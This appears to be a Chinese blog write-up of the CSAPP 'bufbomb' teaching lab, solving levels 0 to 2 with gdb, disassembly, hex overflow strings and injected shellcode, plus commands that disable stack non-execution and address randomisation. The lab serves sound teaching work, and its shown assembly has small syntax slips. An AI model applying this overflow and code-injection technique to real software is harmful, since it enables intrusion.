CSAPP 缓冲区溢出炸弹 中科大实验

实验三 缓冲区溢出

首先反汇编得到汇编代码

objdump -s -d bufbomb > bufbomb.txt

Level 0 Candle

目标是通过缓冲区溢出覆盖返回地址为smoke函数的地址,跳到smoke函数执行。

进入调试,首先找到函数smoke的地址

gdb bufbomb 
(gdb) p/x &smoke
$1 = 0x8048e20

查看getbuf的源码

08048fe0 <getbuf>:
 8048fe0:	55                   	push   %ebp
 8048fe1:	89 e5                	mov    %esp,%ebp
 8048fe3:	83 ec 18             	sub    $0x18,%esp
 8048fe6:	8d 45 f4             	lea    -0xc(%ebp),%eax
 8048fe9:	89 04 24             	mov    %eax,(%esp)
 8048fec:	e8 6f fe ff ff       	call   8048e60 <Gets>
 8048ff1:	b8 01 00 00 00       	mov    $0x1,%eax
 8048ff6:	c9                   	leave  
 8048ff7:	c3                   	ret    
 8048ff8:	90                   	nop
 8048ff9:	8d b4 26 00 00 00 00 	lea    0x0(%esi,%eiz,1),%esi

对代码分析如下:

  • 首先压栈栈底,然后初始化新栈空间,分配了24个字节

  • eax = %ebp-12,即给要存的字符串留了12字节空间,在栈底,然后将这个位置起始位置即eax放入栈顶的内存中,作为调用Gets函数的参数,未来Gets函数通过这个参数(即指针)向%ebp-12地址中写不超过12字节的字符,其中以’\0’结尾。

  • 那么目前的栈结构如下

  • 在这里插入图片描述

故可以构造字符串长度为12+4+4=20字节的字符串输入,最后4位是smoke的地址0x8048e20即可。

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 8e 04 08

然后将这个值放入exploit.txt中,转化为exploit-raw.txt后执行查看结果。

./sendstring <exploit.txt> exploit-raw.txt
./bufbomb -t SA22011xxx < exploit-raw.txt

在这里插入图片描述

Level 1 Sparkler

目标是通过缓冲区溢出覆盖返回地址为fizz函数的地址,跳到fizz函数执行。但比Leverl0的区别在于fizz函数有一个入参,所以是“返回”到该函数并传送参数cookie,cookie是学号生成的。

首先生成cookie

./makecookie SA22011xxx
0x3c7af209

查看一下fizz的地址和内容在反汇编的文件中:

08048dc0 <fizz>:
......08048dc0 <fizz>:
 8048dc0:	55                   	push   %ebp
 8048dc1:	89 e5                	mov    %esp,%ebp
 8048dc3:	53                   	push   %ebx
 8048dc4:	83 ec 14             	sub    $0x14,%esp
 8048dc7:	8b 5d 08             	mov    0x8(%ebp),%ebx
 8048dca:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048dd1:	e8 ca fb ff ff       	call   80489a0 <entry_check>
 8048dd6:	3b 1d cc a1 04 08    	cmp    0x804a1cc,%ebx
 8048ddc:	74 22                	je     8048e00 <fizz+0x40>
 8048dde:	89 5c 24 04          	mov    %ebx,0x4(%esp)
 8048de2:	c7 04 24 98 98 04 08 	movl   $0x8049898,(%esp)
 8048de9:	e8 76 f9 ff ff       	call   8048764 <printf@plt>
 8048dee:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048df5:	e8 aa f9 ff ff       	call   80487a4 <exit@plt>
 8048dfa:	8d b6 00 00 00 00    	lea    0x0(%esi),%esi
 8048e00:	89 5c 24 04          	mov    %ebx,0x4(%esp)
 8048e04:	c7 04 24 29 9a 04 08 	movl   $0x8049a29,(%esp)
 8048e0b:	e8 54 f9 ff ff       	call   8048764 <printf@plt>
 8048e10:	c7 04 24 01 00 00 00 	movl   $0x1,(%esp)
 8048e17:	e8 c4 fc ff ff       	call   8048ae0 <validate>
 8048e1c:	eb d0                	jmp    8048dee <fizz+0x2e>
 8048e1e:	89 f6                	mov    %esi,%esi

分析fizz中处理逻辑如下:

  • 进入fizz后将%ebp压栈,也就是ebp-=4,并把旧值压栈,分配新的栈顶更新,然后压栈被调用者保存寄存器ebx中值方便后面使用ebx,分配20字节空间为新的栈空间。
  • 将ebp+8处的输入参数放入ebx中,而这个输入参数就是要输入的cookie,这个参数比较是否是正确的。

因此,和smoke函数的处理方式一样,覆盖ret地址后,注意的是这个cookie参数还要存在地址中,而行的ebp+8将提取这个cookie。

重要的是,当Gets函数去访问的返回地址被修改为08048dc0后,此时ebp在Level0中的图的8位置了进入了fizz函数,然后执行压栈ebp操作,所以Level0中的图的8位置是在fizz函数执行时的返回地址,那么输入参数应该是在12位置,而这个位置相对于在Gets函数中原来要覆盖的ret位置中间间隔了4字节。所以可以构造28字节的字符串:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 8d 04 08 00 00 00 00 09 f2 7a 3c

然后将这个值放入exploit.txt中,转化为exploit-raw.txt后执行查看结果。

./sendstring <exploit.txt> exploit-raw.txt
./bufbomb -t SA22011056 < exploit-raw.txt

注意一点,学号按照小端的顺序存放

在这里插入图片描述

Level 2 Firecracker

目标:修改全局变量 global_val为cookie值,并跳转到bang函数执行。

跳转到bang函数和之前操作方法一样缓冲区溢出,ret到bang函数的地址即可,但修改全局变量,就需要注入代码来修改。

首先明确全局变量 global_val和cookie存的位置,查看bang源码:

08048d60 <bang>:
 8048d60:	55                   	push   %ebp
 8048d61:	89 e5                	mov    %esp,%ebp
 8048d63:	83 ec 08             	sub    $0x8,%esp
 8048d66:	c7 04 24 02 00 00 00 	movl   $0x2,(%esp)
 8048d6d:	e8 2e fc ff ff       	call   80489a0 <entry_check>
 8048d72:	a1 dc a1 04 08       	mov    0x804a1dc,%eax
 8048d77:	3b 05 cc a1 04 08    	cmp    0x804a1cc,%eax
 8048d7d:	74 21                	je     8048da0 <bang+0x40>
 8048d7f:	89 44 24 04          	mov    %eax,0x4(%esp)
 8048d83:	c7 04 24 0b 9a 04 08 	movl   $0x8049a0b,(%esp)
 8048d8a:	e8 d5 f9 ff ff       	call   8048764 <printf@plt>
 8048d8f:	c7 04 24 00 00 00 00 	movl   $0x0,(%esp)
 8048d96:	e8 09 fa ff ff       	call   80487a4 <exit@plt>
 8048d9b:	90                   	nop
 8048d9c:	8d 74 26 00          	lea    0x0(%esi,%eiz,1),%esi
 8048da0:	89 44 24 04          	mov    %eax,0x4(%esp)
 8048da4:	c7 04 24 70 98 04 08 	movl   $0x8049870,(%esp)
 8048dab:	e8 b4 f9 ff ff       	call   8048764 <printf@plt>
 8048db0:	c7 04 24 02 00 00 00 	movl   $0x2,(%esp)
 8048db7:	e8 24 fd ff ff       	call   8048ae0 <validate>
 8048dbc:	eb d1                	jmp    8048d8f <bang+0x2f>
 8048dbe:	89 f6                	mov    %esi,%esi

可以看见0x804a1dc 和 0x804a1cc两个静态存储区地址存放的全局变量在做比对,那么他们一定就是blobal_val 和 cookie,gdb调试看一下

(gdb) x/x 0x804a1dc
0x804a1dc <global_value>:       0x00000000
(gdb) x/x 0x804a1cc
0x804a1cc <cookie>:     0x00000000

则0x804a1dc存的global_val,0x804a1cc存的cookie。目前因为没有输入和改变global_val,所以他们都是0.

记下来就是构造几条命令来实现修改global_val = cookie值,其实现原理是通过缓冲区溢出,将缓冲区中注入这几条命令,然后返回的时候将跳转到此地址进行执行,然后执行完这几条指令,再通过ret指令进入bang函数。

那么这里有一点必须注意,首先要修改程序堆栈的可执行属性,然后关掉系统的栈地址随机化,否则每一次的缓冲区位置都不相同,无法通过缓冲区溢出跳转到此固定的缓冲区位置执行,即如下命令:

apt-get install execstack
execstack -s bufbomb
sudo sysctl -w kernel.randomize_va_space=0

那么可以查看一下getbuf中传入Gets函数的指针参数指向的地址是多少,即input string的起始地址。

gdb ./bufbomb
(gdb) break *0x8048fe9 
(gdb) run -t SA22011xxx < exploit-raw.txt 
(gdb) p/x $eax
$1 = 0xffffbcac

打断点到调用Gets前,查看输入参数在%eax中,由此可以看到输入缓冲区是从0xffffbcac开始的

然后构建命令

movl $0x804a1cc, %eax
movl %eax, $0x804a1dc
pushq $0x08048d60
retq
  • 上面命令时将地址0x804a1cc中cookie值写入地址0x804a1dc中的global_val中
  • 然后将bang函数的入口地址压栈,最后调用返回指令弹栈4个字节内容,即刚压栈的0x08048d60地址作为跳转地址进入bang函数执行

现在将此命令写入bang.s文件,然后通过gcc编译转化为机器码

vim bang.s
gcc -m32 -c bang.s
objdump -d bang.o > bang.txt
cat bang.txt

bang.o:     文件格式 elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:   a1 cc a1 04 08          mov    0x804a1cc,%eax
   5:   a3 dc a1 04 08          mov    %eax,0x804a1dc
   a:   68 60 8d 04 08          push   $0x8048d60
   f:   c3                      ret  

那么构造字符串就是:

a1 cc a1 04 08 a3 dc a1 04 08 68 60 8d 04 08 c3 ac bc ff ff

然后将这个值放入exploit.txt中,转化为exploit-raw.txt后执行查看结果。

./sendstring <exploit.txt> exploit-raw.txt
./bufbomb -t SA22011xxx< exploit-raw.txt

在这里插入图片描述

  • 0
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

AlwaysDayOne

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值